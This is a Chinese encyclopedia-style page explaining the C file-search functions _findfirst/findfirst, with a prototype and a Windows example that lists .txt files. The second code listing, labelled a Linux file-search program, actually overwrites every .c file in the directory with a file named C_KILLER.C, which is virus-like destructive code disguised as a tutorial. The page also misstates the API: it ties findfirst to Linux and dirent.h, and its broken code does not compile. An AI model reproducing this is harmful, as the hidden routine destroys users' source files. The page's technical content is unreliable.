当前位置首页 > 百科> 正文

findfirst

2020-01-08 04:51:09 百科
findfirst

findfirst

findfirst是一个计算机函式,功能是搜寻与指定的档案名称称匹配的第一个实例,若成功则返回第一个实例的句柄,否则返回-1L。

基本介绍

  • 中文名:findfirst
  • 函式简介:函式名称:_findfirst
  • 函式功能:搜寻与指定的档案名称称匹
  • 函式原型:long _findfirst( char *fil

函式原型

函式原型:long _findfirst( char *filespec, struct _finddata_t *fileinfo );
头档案:io.h

程式举例

#include<io.h>#include<stdio.h>int main(){long Handle;struct _finddata_t FileInfo;if((Handle=_findfirst("D:\\*.txt",&FileInfo))==-1L)printf("没有找到匹配的项目\n");else{printf("%s\n",FileInfo.name);while(_findnext(Handle,&FileInfo)==0)printf("%s\n",FileInfo.name);_findclose(Handle);}return0;}

系统下状态

Linux下的FindFirst
在linux作业系统下,编译器用findfirst(),而不是_findfirst().
linux作业系统下的查找档案的操作,需要包含dirent.h头档案.

查找程式

#include <dirent.h>
#include<io.h>
#include<stdlib.h>
#include<stdio.h>
int main(void)
{
int done;//整形变数
struct ffblk ffblk; //声名结构变数
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
}
声明:此文信息来源于网络,登载此文只为提供信息参考,并不用于任何商业目的。如有侵权,请及时联系我们:baisebaisebaise@yeah.net